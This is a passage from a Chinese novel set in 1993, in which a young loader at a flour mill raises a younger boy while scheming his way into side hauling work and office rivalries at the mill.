“你去我屋里,还有点菜,拿过去过。”老板不耐烦,甩了周瞳一把,他急着要去打牌,他输钱起来眼睛都不眨。
过年这天本来是不用开门的。
周瞳扭头就将沙龙店好几箱洗发水都给卖了,有客人来说自己的头发不舒服的时候说,“那你能拿我咋办?”周瞳翘着二郎腿坐在吧台上,拿着东西就往人家身上砸,说,“你有本事把店都砸了呀!”
这人一看就不是善茬,站在门口就大喊大叫,引得人来看,结果一呼百应,之前在这里弄得头发的都上来哄抢。
等老板回来的时候,抢得连个吹风机都没剩下。
老板气呼呼的来警局,叫警察训了一顿,就是他自己弄得假冒伪劣。
警察指着周瞳说,“这孩子还拦着,大过年的叫人给打了。”
周瞳的眼睛有点淤青,确实是他们给打的,但是是他先打的人。
“老板,我没给你守着店。”周瞳可怜巴巴地说。
老板没说啥,给了周瞳一点点换药的钱,还让他继续住那个鸡棚里,找到了地方就搬出去。
大年夜。
应不尘在被窝里摸着周瞳的嘴角,“哥,你的脸咋了。”
“没啥事儿,”周瞳拉住了他覆在自己脸上的手,“就是哥工作丢了。”
应不尘一听,有点儿急了,“店里子欺负你了?他们是不是欺负你了?”
“哥可不挨欺负,”周瞳在灯下把卖洗发露的钱拿出来,说,“咋样,哥厉害不?”
“哥,你咋弄的呀?”应不尘眨着亮晶晶的眼睛问,“那我能去报名啦?”
应不尘一直都知道马上要开学了,但是周瞳拿不出学费,这事儿谁也不提。
“我欺负老板了,”周瞳把应不尘抱在怀里,说,“我给他店子砸了。你可看见了?”
“我见了。”应不尘被他晃着摇,“哥,你咋这么厉害?”
“厉害啥呀,”周瞳闷在他的头发上,洗发膏的味道明明是他最讨厌的味道,但是在应不尘头上,就好像不难闻了,“这可太窝囊了,他们逼得太狠了。”
“他们就是不好。”应不尘又有点儿操心地问,“那我们以后住哪里?”
周瞳点着他的额头,“看看哥能干啥吧。别愁了,你上个学期的奖状,哥都收着呢,只要你拿奖状回来,哥就供你读书行不行?”
***
周瞳拿着钱,给应不尘交了二年级的借读费,但是交完回来,晚上给应不尘缝衣服的时候才发现,汪爷爷已经把借读费塞衣服里了,就在上回应不尘回来的时候。
汪爷爷看着来送年货的周瞳。
年都已经过完了呀。
周瞳都被造得没模样了,还不如刚来的时候,那会儿脸上还有点肉。
小的那只也就是在这里吃饭,不然也不知道得磕碜成啥样。
“哥,你瞧瞧我写的字,”应不尘拉着周瞳就去看,汪爷爷拍拍周瞳的肩膀,“去看看。”
周瞳被应不尘拉去二楼,黄色的木门,推门进去就一股子香味。
是窗明几净的房间,中间放着一张大大的红木桌子,笔架子上的毛笔周瞳从来也没见过,墙上画了许多字画。
“哥,这些都是汪爷写的,”应不尘跑过去,拿起一张小小的,上面写了个「福」,“这是我写的,我写报纸上。”
周瞳拿着瞧了瞧,“写的真好。”
“汪爷给我小毛笔了,”应不尘拉他过去看,“这是我追着羊,汪爷做的!”
“你喜欢这个啊?”周瞳看他摆弄他的小小毛病,笔头上写了一个小小的「应」。
“嗯。”应不尘还要显摆,“汪爷说了,写字静心,就不会太急。”
“你哪里不急了。”周瞳摸摸他的头,“要对汪爷爷汪奶奶好,知道不,这里的东西都太贵了,不要拿过来叫我摸了。”
“下来洗澡俩脏娃娃。”汪奶奶在楼下喊。
这房子有灶,能烧热水,汪爷爷留他们洗澡吃饭。
这儿洗澡可太舒服了。
“哥,我给你搓搓脚。”应不尘说,“你的脚都是冷冰冰的,跟冰溜子似的。”
“你在这儿也懂事了?”周瞳问。
“嗯,我给汪爷爷点灶,我还会烘煤饼子呢,”应不尘说,“汪爷爷,你有你的活儿,我有我的活儿,我冬天也得干活。”
“你干啥活儿?”周瞳问。
“汪爷爷教我烘煤饼,他的碳可好啦,还能拉出去卖呢,”应不尘说,“我烘了煤饼,就可以烧热水,不要煤气,就省钱,还能让哥泡泡热水脚!”
“那叫热水澡。”周瞳说。
“哥,”应不尘给他搓了脚又给他搓身上的泥,说,“你这里为啥这么多毛?”
“你以后也长。”周瞳说,“长了毛了,就是男人了。”
“黑乎乎的呢,”应不尘说,“要搓搓吗?都是皴?”
“就是黑的,”周瞳说,“我见了没人是白的。这个哥自己搓。”
“哦,”应不尘说,“我给你打肥皂不?”
“洗完就出去,手都泡皱了,嘴那么碎。”周瞳把他包起来,穿上衣服扔出去了。
出去的时候饭都上桌子了。
周瞳是掏空了过年的钱来买汪家买年货合计还不错呢。
结果进了小屋子里看见汪家自己买的,比起来真是太差了。
“心意晓得,别乱花钱。”汪爷爷说。
“我啥也没有,再没心意,”周瞳低着头,说,“就没长心了。”
“谁说的,”汪爷爷一身正气,道,“莫欺少年穷!”
周瞳吞了半杯烧白,起来深深地给爷爷鞠躬,半天也拉不起来,他说,“要不是您俩,这孩子跟着我就废了。”
汪奶奶把最后的菜放在桌子上,搬来一条高一点儿的凳子,把应不尘撂上去,咂咂嘴,说,“那就多回家吃饭。”
应不尘看着周瞳食不知味,他最喜欢吃的烧肉都没夹几筷子。
***
1993年。
在春天要开学的时候,汪奶奶骑自行车去学校教书,在路上摔断了脚,学校早就对这个动不动收学生进来的老太太深恶痛绝,总是一副自己个儿能拯救天下孩子的模样似的,又因为她在这里干了一辈子,没法子找正当理由,顺着这事儿,一群领导就拎着东西,话里话外的,就给辞退了。
汪奶奶不屑他们,说了那几个收进来的孩子要继续读书不然就要去北京上访之外,果断地就与他们割袍断义了。
汪奶奶有文化,也不好拍马屁,从前办事儿就丁是丁卯是卯,脚还没好利索呢马上就被叫去一个面粉厂算账了。
面粉厂里都是亲管亲介绍进来的,老板做大生意,最敬重文化人,不计较细枝末节,这
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里的工人带点儿筛下来的面粉回家也没人计较。
周瞳的头发全让他剃了,头上的癞子也慢慢地好了,但是他在理发店这一年已经很要臭美了,所以总是戴帽子。
周瞳丢了工作之后,被汪奶奶带进了面粉厂,汪奶奶是亲与事分得清楚的,所以给周瞳的工作是装卸工。
卖力气的,比沙龙里面还要累。
但是是正经的营生,而且这里的孩子都上学,应不尘在面粉厂可比在那个虎龙混杂的理发店强多了。
面粉厂早就引进了先进的机器,一天都能做出好多面粉。
操作间的工人有规范的流程,也有文化有知识,他们摆弄着这大机器,实在厉害。
周瞳只能在外面,装卸面粉。
汪奶奶知道他俩住的地方,又自己降了点工资,说她年纪大,下雨下雪的回不去,要了一个车棚里面的铁皮房,从前这儿放了个变压器,后来挪库房那边去了。
应不尘特别喜欢这里,这里有一个大院子,有时候停满了大车,很多人都在这里忙活,小孩儿也有,这里的工人人也好,给小孩儿吃糖。
那会儿开始,应不尘就开始吃面疙瘩了,面疙瘩的弄法很简单,他先把一毛五一个的煤饼烘起来,然后拿一个盆,加上一点水,搅和搅和,水开了,就可以下锅了,沾点咸菜或者酱油,就可以吃了。
周瞳自从卖力气之后,胃口就变大了。
周瞳的头发长出来了,是个寸头,别人都问他是不是劳改犯,哪有剪这种头型的。
哥哪里像劳改犯了?应不尘想。
他们在小小的钢棚里面,分享一锅的面疙瘩,今天多了一份翅尖。
他今天发了钱,就跟应不尘分,这点儿也比沙龙不知道好了多少。
“哥,你挣这么多钱!”应不尘几张钞票数了又数。
“你数学可学好了?”周瞳笑着看他,“以后你买菜,买面粉,行不?”
“汪奶奶教了。”应不尘说,“我还看账本了。”
“你看得懂?”周瞳倒是不信这小孩儿这么早能算明白数。
“看不懂。”汪奶奶说,“老看,小孩儿就会耳朵染色,多动脑子好。”
“看账本会染色?”周瞳一皱眉,“你耳朵让我瞧瞧来。”
周瞳顾不得面疙瘩,把孩子先抱过来,“染啥了?”
看了半天,也没染色。
周瞳在这里做装卸,应不尘倒是要去帮忙了。
但是他太小了,根本干不动啥活儿,不如去老太太那写作业。
但是只要放学一回来,就黏到装卸班子里来。
这玩意计件,力气换钱。
周瞳之前没干过,弄不清楚窍门跟力道,后背都弄得乌青。
后来瞧着人家,才算懂了一点儿门道。
遇上了汪奶奶,才知道耳朵染色是耳濡目染。
周瞳总觉得他的工钱没人家多,上个月是这样,这个月也是这样。
“哥现在干那个装卸,”周瞳吃东西就跟吞一样,说,“里面事情多。里面好几个都不认识字儿,也不太识得数字,那个威哥,就是那个记账的,他的账本不对劲。”
周瞳认字儿,在装卸工里面已经很难得,晚上的时候他要去汪奶奶那儿学文化,应不尘看过周瞳写的字儿,可漂亮了。
应不尘不是很听得懂,但是就喜欢听周瞳说。
“我瞧着好几次了,”周瞳囫囵吞着面疙瘩,说,“他是挨个记账的,也不叫我看,然后去领钱,领钱回来分,总数对不上,好几回才去领一次钱,人家自己个儿都记不清楚。”
“我说咱这种咋能记不清楚呢,”周瞳低声像是应不尘打商量似的,“我就发现威哥给人的钱多,那些干装卸的,有时候早上过来,跟没睡觉似的,身上还有味儿。”
“我觉得他们出去干私活儿了,不带我。”周瞳有点儿不乐意。
应不尘还是听不懂。
“为啥不带我?”周瞳自言自语,“我没力气吗?”
8. 1993[2]
过了好几天,这天,周瞳回来得特别晚。
他搓着手,有点冷,就伸到应不尘的屁股里,端着小孩儿说,“我看他跟运输队的马队长不太对付,有一回那威哥的那板子歪了,连人带货全摔下来了,那会儿我跟运输队马队长一块儿上厕所呢,在那的人都慌了,运输队马队长抖都没抖一下,我觉得不对劲,他俩看起来还挺好的,每次都敬着对方烟。”
“我觉得不对劲呢,就留意着威哥,上次装卸工打牌,少个人,我故意说叫马队长,就看着他坐办公室里呢,他们没一个人吱声。”
“但是他们表面上看起来还蛮好,”周瞳歪着脑袋看应不尘,“你说为啥?”
“为啥?”应不尘问,应不尘根本听不懂,只会反问。
“人要是不得意对方还得装,”周瞳翘起脚来,说,“就是里头掺着看不上。但是为啥呢?”
应不尘最喜欢这里的就是他常常都能看见周瞳。
威哥不太喜欢他,应不尘能感觉出来。
那一车的谷子,大家都不乐意装卸,这玩意儿披不住皮坎肩,热得不行,而且那谷子容易钻出来,黏在人身上就刺挠。但是威哥就叫了周瞳去背。
晚上回来的时候,周瞳还是照例吃面疙瘩。
“昨儿晚上我骑着自行车去追运输队了,”周瞳说,“开着公家车,他们干的不是公家活儿。”
周瞳捧着个碗,说,“这两队人都在外头干私活。运输队这个应该是厂子里面知道一点,没太多办法管,现在会开大车的人少,而且那马队长跟下面的人绑在一块儿,一走就得好几个人,他们有技术,牛得不得了。”
周瞳用筷子戳着碗里的面疙瘩,戳得稀巴烂。
“运输队的烟都好,藏在破盒子里,”周瞳顿了一顿,放下碗,“我也要学开大车。”
“哥学大车!”应不尘举起手来。
他们边上就是车棚子。
周瞳看着那些车,说,“钥匙倒是在上边,我得咋学呢?我也不会啊。”
从那天之后,周瞳晚上就很晚才回来。
“哥,你去干啥啊?”应不尘问。
“给人白干活儿,”周瞳说,“给人搬砖头去了。”
“我给哥按一按。”应不尘说着,就有模有样地给他锤手,周瞳的手在沙龙的时候就泡着那些洗发水,给手都泡烂了,粗糙的都不像一个十八岁的少年。
“你咋样啊?”周瞳闭着眼睛问,然后手打成一个方向盘的模样,然后两只脚不知道在踩啥。
“我就上学呗。”应不尘蹲在边上洗碗,说,“我们学校二年级可以去春游了。”
“啥时候去啊?”周瞳问,“没听你说呢。”
“明天,清明节,要去扫墓,然后春游。”应不尘说。
“明天的事儿你今天说?”周瞳说,“春游不是都得带点吃的吗?”
“我自己弄了。”应不尘指着桌子上,一个萝卜。
“你咋不说呢,”周瞳盘起腿来,说,“现在都几点了。”
周瞳连着开始穿衣服裤子,拽着孩子就出门去小卖部,小卖部早就关门了。
“哥,春游好玩吗?”应不尘问,“我头一次去春游。”
“好不好玩的,那人家都带吃的,你没有,好玩也弄得不好玩了呀。”周瞳拽着孩子挨家挨户的敲小卖部的门,没人开。
“哥,太晚啦!”应不尘说,“我们回去吧。”
实在没法子了,周瞳牵着应不尘回去了。
***
应不尘今天第一次出来春游,就背着一个萝卜,但是昨天哥带他去买了,就是没买上,所以应不尘的心里也美得很。
但是这种美没持续一会儿,就不美了。
他们从学校出发,一大溜的人就排队出去,去公墓扫墓,扫完之后就在公墓后头的草坪,就可以坐下来春游了。
草坪,秋千,还有风筝,就可以自由活动了。
但是自由活动完,就完蛋了。
因为老师叫大家分享自己的零食给身边的同学。
老师说的话,就是圣旨。
所以这软性的分享,就变成了硬性的执行。
应不尘就一个萝卜,边上的小孩儿都有话梅,焦糖,花生,还有无花果干。
左边的女孩儿把自己的黑米酥分出去的时候,得到了一个萝卜。
小女孩儿哇地一声就哭了。
应不尘挠挠头,不知道怎么好。
那会儿的条件各不相同,老师也没法子,只得自己给了小姑娘零食,再给应不尘的时候,应不尘摇摇头,他要吃萝卜,这个萝卜是汪爷爷种的。
就在这时候,忽然有人开了一辆大车,按了两下喇叭,引得小孩儿都去看。
车上跳下来个人,甩了一包吃的给应不尘,里头都是孩子乐意吃的东西,什么绿糕,方糖,无花果干,这吃的提在周瞳身上的时候倒是不显大,扔在应不尘的身上就大了。
周瞳轻声对应不尘说,“我紧赶慢赶给你赶上了,头一回出来春游,大大方方的,咱不跌份啊。”
周瞳蹲在老师的旁边,拿了个方糕的盒子送给老师,老师不要。
周瞳说,“我家小尘回来总是夸您对他好,这是糖,吃个糖能成吧?这糖可甜,跟您一样。”
带着出来春游的老师年轻,收了糖,脸都红了。
周瞳对孩子们说,“哎呀你们咋都这么好呢,难怪我家小尘天天跟我说你们好,自己挑挑,都挑喜欢的。”
刚刚抱着自己的零食避着应不尘的又都好了,欢腾地去分享零食。
周瞳今天没有满是面粉,他穿了条牛仔裤,棕色的皮夹克,里面穿着个白色的背心,他当装卸工有三个月了,身材倒是壮硕了不少。
他的头发长长了一点儿,今天来看他,倒是连摩丝都打上了。
其实周瞳平常那样儿应不尘觉得更习惯一点儿,比如他干完装卸回家偶尔做饭的时候。
但是现在应不尘心里又美了。
周瞳都走了,应不尘还在原地呢,小朋友叫他一起放风筝,刚刚没坐到的秋千也坐上了。
老师打开糖盒子一看,是一块儿丝巾,看着贵重。
周瞳还是忙,春游之后,应不尘每天都睡迷糊了他才回来,一回来就老扭着胳膊。
“哥,你会开车啦?”应不尘问,“我上回春游看见你开车来的,大家都再看。”
“不然你以为我搬砖头给人白干是为了啥。”周瞳白了他一眼,“上回我惦记着你要春游,特意绕过来的。”
“哥,你那么忙,不用总看着我。”应不尘一脸的心口不一,他明明开学的。
“老师对你咋样?”周瞳查看他的作业。
“老师让我当委员,我现在收作业。”应不尘说。
“行。”周瞳一笑,说,“咱也是干部了,好好干。”
“哥,你从前春游过吗?”应不尘缠着他的胳膊,仰着小脑袋,“可好玩啦。”
“我春游那会儿...我想不起来了。”周瞳闭着眼睛就要睡觉了。
周瞳那年去春游,学校要交钱,交钱的同学可以去坐船,不交的同学站在上面看。
周瞳又不是没坐过船,他家里也没钱给他。
反正那次春游,交了钱的同学坐船划到了对面,然后就集合回家了。
全班就周瞳没交钱,身边的小孩儿有钱,周瞳问他借钱,想坐过去对面,他说,“你就带啦一个地瓜你就来春游,哈哈哈哈哈。”
他走回家的时候,天都黑了,爸妈都睡了。
***
周瞳早出晚归了一阵,又变得正常起来。
“哥,你今天回来这么早。”应不尘从凳子上站起来,他刚刚还在做作业。
“吃啥啊晚上。”周瞳揉着肚子问。
应不尘说,“我不知道你今天回来这么早,我还没弄呢。”
“那别弄了,”周瞳说,“我带你出去下馆子。”
下馆子?
应不尘可高兴坏了。
但是下馆子也是出来吃面条。
一人大份,一人小份。
“我学完车了,那我就能开车,这样的话,”周瞳自顾自的嘀咕,连面里的醋都一直倒,“那我就能帮装卸工拉一点儿私活,那我咋把车开出去呢?”
门卫大叔应不尘是知道的,见人下菜碟,领导来了就早早站在那敬礼,要是晚上回来太晚了让他开门,他还得管人要钱。
周瞳吃着一碗酸不拉几的面条,说,“那个门卫那个女儿,看着也不是个省油的灯。”
应不尘说,“林林阿姨不是挺好的吗?”
“你懂啥,我上回想摸索摸索她是个啥性子,故意找小孩儿把水泼她鞋上了,她那鞋就是在供销社买的,三块钱,她在外头张口就讹十块,贪的很。”周瞳摸着下巴,说,“能贪就好办,运输队能开出去,我也能开。”
周瞳不管还没吃完的应不尘,说,“走。”
“我面还没吃完呢!”应不尘喊道。
第二天,周瞳就约上了人姑娘。
周瞳长得好看,沙龙店泡了一年又会打扮,请小姑娘去宜华第一家江边的餐厅,说实话有点冷,晚上的江风吹的周瞳瑟瑟发抖,让姑娘误会了他很是紧张。
饭菜过半。
周瞳说,“威哥说晚上想带我出去拉沙子。”
威哥可没说!
姑娘说,“都在外面跑私活儿,你可以去呀。”
周瞳说,“运输队的也在那儿,开的公家车。
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”
姑娘吃着菜,她哪能不知道?
周瞳凑近了,轻声说,“我也想开公家车去,晚上出不去门,你能给我开吗?我挣得钱了,分你一半。”
姑娘皱着眉问,“一半?”
她又重复了遍,“真分我一半?”
周瞳说,“这不是你应得的吗?要不你跟我去,你拿钱,你分我一半,我不晓得人家是怎么分钱的,但是在我这儿,我觉得你也是跟我担着风险了,不能有钱我吃了,有事儿你倒灶,对不。”
运输队可没给这么多。
第三日。
周瞳对搬完货,低声对威哥说,“威哥,你账本不对劲,我家老太太问我好几回了。”
老太太可不管这个,入账出库对得上就成。
这周瞳嘴上真是没一句实话。
但是这老太太威哥还是知道的,严厉得很,一分钱都要掰扯的性子,她来这儿就是来坐镇的。
威哥一股子匪气,提溜着周瞳就在库里头吵架。
“你这小子,别仗着有个老太婆撑腰就不识四六了,在这儿,还是得有码头!”装卸工头头收下就管了十来号人,觉得自己威风得不得了。
“威哥,”周瞳笑着说,“别生气,主席不都说了么,工人阶级要团结起来,我们没必要这点儿事就犯得不和气。”
“你啥意思?”威哥问。
“这样,威哥,你有人,我有车,咱俩合伙儿干吧?”周瞳问。
“干啥?”威哥说。
“我知道,你总拉着工友干私活儿,有钱大家一起分,一锅汤肯定要您吃肉,”周瞳说,“我养着孩子,特费钱,这样,小的私活儿,您让我开车带着出去干,你那账本的事儿,我跟从前的分成一样给您,稍稍捯饬一下,行不?”
这种卸货的工头有专门的人联系,什么拆机器,拉砖头,面粉厂没活儿的时候威哥还带着人去工地干。
但是运输队的人也不是吃素的,仰仗着威哥一帮都是吃剩饭的工人,没事儿也克扣他们的钱,所以这两伙人又是纠缠在一起,又是互相看不上。
装卸工看不惯运输队摆谱又扣钱。
运输队看不起这些装卸工卖个力气吃他们剩饭还觉得少了他们转不了。
周瞳都已经把这两方摸清楚了。
“你能把车开出来?”威哥有点儿不信。
“学了,就那么几下子,离合,刹车,油门,挂个档呗。”周瞳故作轻松。
“晚上拉沙子,能干吗?”威哥将信将疑问。
“咋不能呢,”周瞳就算心里打鼓但是依然装的稳当,“几点?”
这面粉厂可是有门卫的,晚上到点了就得关门。
威哥努努嘴,说,“那老头子瞧着呢。”
周瞳说,“晓得。”便掏出了一串钥匙,说,“是这个不?”
威哥不吱声了,说,“晚上崇江沙场。”
威哥早就不想给运输队上供了。
那马队长太贪,又太翘尾巴。
周瞳可没本事让门卫的女儿一下子就掏了钥匙,这手上的钥匙,是他家车棚子的钥匙。
周瞳估摸了一下,觉得这马队长肯定仗着会开车的本事,到处得罪人。
当天晚上。
姑娘真去了,坐在周瞳的大货车上,在黄沙漫天的天里头站着,没一会就腻了,嫌这里脏,吵的耳朵都要聋了,她对周瞳说,“我分不去一半,你看着给就行了吧。”
“行,”周瞳说,“到时候出事,我就说钥匙是我偷的,跟你没关系。”
姑娘抱着胸坐在车上,她就是来看看周瞳说的分一半到底是约摸多少。
周瞳说,“要是运输队叫我干,我可比那马队长大方。”
姑娘也不看他,说,“那你得有本事给人挤兑了,不然都是空话。”
周瞳第一次就干着私活儿了,这感觉别提多美了。
周瞳忙着回来跟应不尘显摆,都特么大半夜了还把孩子撅起来。
应不尘脾气也好,都睡着了让人提起来也不生气。
周瞳坐在床上,掏出钱来,几个硬币,有一元的,五毛的,一毛的,一把,“你们学校门口那个小杯的粥粥,别小孩儿都排队吃,你咋不吃呢?不是给你钱了吗?”
那小杯的粥里面炖了大骨头,上面撒了切得细细的榨菜跟酱黄瓜,应不尘也很馋,但是哥哥太辛苦了,他的脸上总是沾满了面粉,洗完脸连水都是白色的。
“我就爱吃面疙瘩。”应不尘都困迷糊了。
“瞎整,”周瞳大大方方地将硬币拍在桌子上,说,“必须吃,人家小孩有,你咋能没有。”
第二天,应不尘吃上了心心念念的骨头粥,一点儿也不肯浪费,吃完才回过神来,没给哥留一点!
9. 1993[3]
周瞳机灵,如那个沙龙店老板所说,他就是有眼力见儿的,听半句话就知道啥意思了。
这么整了一个来月,开大车的都记得码数跟油表,他心知肚明,但是没动静,周瞳就夹着烟先找上了他。
“马队长。”周瞳谄媚的笑着,一屁股坐在办公室前面,对马队长说,“我多不懂事了,叫人骗了,您对我那么好,我还自己就真上当去给人拉活儿。”
周瞳将两条烟一瓶酒塞在沙发下面,露出了一点边,这钱就是他拉沙子拉砖头挣的,漏出点儿都能认出来这得花多少钱。
马队长抽着烟,烟雾缭绕的,翘起二郎腿在办公桌上,说,“我还以为你要跟我对着干呢。”
“哪儿能呢,”周瞳挪着凳子,挨在马队长边上,说,“我反应太慢了,这会儿才上道,我以为就我自己偷偷摸摸呢,净吃马队长碗里的饭了,我哪有那肚子,咋不撑死我呢?我挣得那些钱,都孝敬您,你能带着我一起干吗?”
这意思多明显了,他能自己干,现在愿意跟着马队长一起,能挣多少钱他心里也有数了,要不然他就全给举报了,大家都没个好。
马队长斜楞眼,对周瞳说,“会计那老太太,你家老太太?”
“干儿子,”周瞳摸摸脑袋,说,“总叫我给她算账来着。”
“柴油啥的,能整明白吗?”马队长问。
自从换了个管账的老太太之后,运输队的马队长也发懵,从前连柴油都是吃公家的,现在按着里程来算,麻烦的要死。
“能整明白,”周瞳敬了个礼,说,“掺点水,油棍子看不出来,到时候报个漏油故障,能办。”
马队长看着这小子,叼着烟,烟雾遮住他的眼睛,他从皮包里拿出来几张一百元的大圆头,说,“你这礼也重,这拿去,给你家孩子压岁钱。”
周瞳推都没推,弓着身说,“谢马队长,以后您就是我领导。”
这就算结盟了,推什么,显得小气,以后挣钱的机会多着呢。
周瞳回了家,应不尘又在吃冷饭。
“哥,你咋回来啦,今天不干活儿?”应不尘问。
周瞳自个儿又开始嘀咕,说,“你说这马队长也没找我茬,我觉得他比威哥难弄。”
“哥,咋没找你茬还难弄呢?”应不尘边问边去下面条。
“太爽快了,他就等着我去找他,”周瞳手搁在脑袋后面,躺在床上翘着二郎腿,“我感觉他要坑我。”
“哥,你咋感觉出来的?”应不尘问。
“尘儿,我跟你说,今天马队长要是拽着我脖领子打我一顿,”周瞳盘着腿坐起来,“我扒他碗里的饭,他在这儿当皇帝当惯了,敬久了就眼睛不能往下看,他不能容我,但是他忍了,必定是因为有后招。”
“你要晓得,抢人饭碗就是杀人爹妈,威哥那种炮仗脾气,敬着就成,马队长那种藏事儿的,才要小心。”周瞳搅和着面条,说,“要么,我让他服我,要么,他给我踢出去。”
外面已经偶尔有知了了,夏天快要来了,但是马队长真跟啥事儿都没有似的容了周瞳,差点让周瞳把那茬都给忘了。
1993年的时候,油耗子最是猖獗。
运输队的马队长对周瞳倒是客气,有啥活儿都拉着他干,周瞳也跟他敬着,跑前跑后地给他跑腿。
运输队的日子好过,早年跑运输的跑完回来都得上歌舞厅,搂着小姑娘唱歌,唱着唱歌就娼上了。
那段日子基本都是这么过得,运输队的人连家都不咋回。
马老板不一样,他很少在这里,说他得回家陪老婆。
他们都说马队长的老婆不下蛋,马队长还对他老婆那么好。
周瞳在这里喝得昏天暗地,经常都是应不尘推着板车把他拉回去。
周瞳蹲在外面抽烟,看着马队长开车走了,都觉得自己个儿小人之心。
那段时间的周瞳在应不尘眼里好像格外的漂亮,他有一双一笑起来就招女孩儿喜欢的眼睛,头发又黑又密,打摩丝反而都遮住了,洗完澡的不穿衣服的时候又瘦又结实,周瞳还叫他摸自己的手臂,他一握拳就有紧绷绷的肌肉,也从这会儿开始他没有那么唯唯诺诺,穿着有点松垮的裤子,有股嘚瑟劲儿上来了,人也开始不长骨头。坐没坐相的,叫汪奶奶打了好几下。汪奶奶来了他就叼牙签,平常他都是叼烟的。
七月的时候早稻就可以收割了,一般这时候面粉厂都帮着粮食厂一块儿去乡下收稻子。
这时候这车子也会特别的费油,两方对账总是麻烦的很,油这东西两头去要,自己攒下来放在白色的桶里,吸一口,那油就下来了。
有时候出去外地,晚上就说车开不回来了,坏路上了,实则好几天都在外面拉货。
周瞳跟马队长一起蹲在厂房边抽烟。
“马队长,我能跟您好好干吗?”周瞳问,“就那种,你把我当弟弟的那种,我敬着您,怕着您。”
“怎么说这话呢?”马队长问。
“不晓得,我就觉得心里慌,”周瞳抬头看着马队长,说,“您像我老家的叔。”
马队长踩灭了香烟,用包拍拍周瞳的肩膀就走了。
周瞳想跟马队长好好干。
但是想跟马队长好好干的前提是,威哥眼瞅着周瞳本来跟他们盘的账现在要让马队长做主了,那形势就又成了从前那样。
威哥心里自然不舒服,好几趟大的都不叫周瞳来弄了。
运输队这个事情,就管介绍都能吃几包烟,不多,但是能认识人,运输队跟装卸工打交道的都是一些大玩意儿,最多的就是沙场,采石场,采矿厂,修桥盖路的时候帮着去拉东西,钢筋板材这东西东边价跟西边价格又不同。
“哥,你这记啥呢?”应不尘支着脑袋问趴在床上的周瞳。
“都是各行拉东西的价,”周瞳指着说,“你看这远点儿的这个建筑工地,拉沙子的沙场靠近山里,他的沙子质量一般,但是价格便宜,这边这个,好沙场,但是这个老板比较贪心,过磅的时候总说太满了都扬路上了。”
“参合参合,估计就能不少挣,得算算油钱,来回折一折。”周瞳皱眉低头划来划去,有时候这些东西都记在应不尘的作业本子上了,说,“你看这个价,是前两个月的,这个老板囤了废钢材,都堆起来了,这价格现在拉他就挣钱,我注意好几回了,他每回都能在最贵的时候往外整,这市场一直都在变化,没人比拉大车的弄得清楚。”
“那跟哥有啥关系?”应不尘问。
“我拉大车,我优势在哪里?”周瞳躺在床上,仰头看着天花板上的灯,说,“我没车,不是公家的就是租的,为啥人家要叫我拉?”
“为啥?”应不尘问。
“我看见有人在囤涵管,”周瞳问,“你知道啥是涵管不?”
“没见过,老师没讲。”应不尘说。
“就是灌水的,太多了,我猜的话,就是县城里头要装自来水了,但是这东西我问过,要连到水库去,”周瞳说,“过不了多久,那个水库就得打涵管,很长很多的涵管去县城,这得垫很多钱。”
“运输公司要发财。”周瞳抵着脑袋,说,“县城的差事,县城的政府肯定让县城的运输队干。”
“但是县城的运输队就这么两三个,加起来都不过这么些大车,但是运输队的那些人拉不完的活儿,强横得不行,”周瞳说,“自来水厂的人也得吃钱,我得找找他们去,只要他们愿意把这个活儿承包给我,我就不用他们先给钱,我自己垫钱跑,等通水了挣钱了再给我。光涵管这道,他们的账本就红了。”
“哥,可是你也没啥钱呀。”应不尘说,“你衣服里就一点点钱。”
“我想想招。”周瞳挠挠头,说,“这活儿不少挣,估计得等开工,时间还有。”
周瞳惦记着这事儿,瞄上了马队长。
马队长有钱,这些年吃饱了。
要是他肯带着自己带,这把估计就稳了。
都是跑大车的,不可能没这点儿嗅觉。
周瞳想,要是他能把这活儿给拉过来,马队长能不能带他一起干,分几个车跟人给他,很多车款跟工资都是要拖的,都是常态。
周瞳坐在驾驶室抽烟,来了个传话筒。
“今天马队长来不了,他侄女订婚,马队长说叫你帮着办了。”马队长身边这个个子很小,带着个眼镜,周瞳打听过,这人特实诚,把他马队长大哥当神仙。
周瞳已经坐在车上了,矿石厂那边可等着呢。
“去呀,墨迹啥。”小个子说。
周瞳说,“行,那我自己去?”
“去呗,你不
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能能耐吗?”小个子说。
“你说话太酸,”周瞳说,“兄弟,抽根烟。”
周瞳踩着油门就出去了。
到了矿石厂,齐刷刷的一排灯。
周瞳从车上跳下来。
警察拿手电筒照他,说,“你这个车面粉厂的,你来矿石厂拉东西?这矿石厂没证,都查了,你也跟我回去一趟。”
周瞳进局子了。
“你偷开面粉厂的车去拉私活儿?”警察问。
周瞳溜了一圈,早把车换了。
“没,那辆是我租的车。”周瞳说,“我装卸的,工资少,不是合同的,我能出去拉货,矿场给我钱我就去了,我在那儿装卸,也帮着开车,给的钱多点。”
这是允许的,装卸工是计件的,流动的,没生意的时候要饿死。
“可是有人举报你开面粉厂的车去拉货。”警察说。
“我开了,但是我不知道拉的是啥,我开一趟人家给我一趟的钱,他们有时候人不够。”周瞳说。
“面粉厂少了一辆车!”警察说,“别人看着你开出去了。”
“那辆啊,”周瞳说,“我知道,开去修理厂了,本来是要去加油的,半路坏了,轮胎烂了,在修呢。”
威哥来了,周瞳坐在外面,他坐在周瞳边上。
“你晓得今天的事是啥意思吧?”威哥抽着烟,说,“你挤兑不走。”
“没完呢。”周瞳说。
当夜,就有人来找沈老板举报,举报马队长公车私用,与油耗子跟修车厂勾结,从中牟利,男女关系混乱,连账本子都拿出来了。
马队长被撤职了。
“哥,你咋弄得?”应不尘问,“厂子都在说,你给马队长挤兑走了。”
“咋是我挤兑。他自己事儿办的不行,跟我错似的。”周瞳说。
“我其实早就知道他在外面有孩子了。”周瞳说,“跟你差不多大。”
“你咋知道?”应不尘问。
“奶个腿的,有一回我看到他身上有个小脚印,就跟我抱你,会踹我身上似的,我那会儿还觉得是不是抱别的小孩儿,后来你春游,我给你去买东西,他在边上买烟,他问我我吃啊,我说你要去春游,他说,今天不是已经去春游了?我都不知道你那天春游,他一个没孩子的能知道?
我扭头给你老师买了点礼物,过了一段,我跟你老师我说我来给我马加义大哥接孩子,上次春游也去了,但是实在忘了姑娘叫什么,你老师就给我查了。”周瞳说,“反正这东西,就算他没孩子我也不亏,万一有呢,是吧。我就跟着他,天天问他给他开车,他叫我开的我都画了路线,后来我就发现,就东边他自己去。”
“我就往东边去了,我买烟,你都不知道我买了多少烟,问了多少人家,马队长在哪,就是面粉厂那个,我过来送车,人家心眼好啊,直接给我送他外面女人的家里去了。”周瞳说,“我一看就乐了,孩子都挺大了呢,女孩儿。”
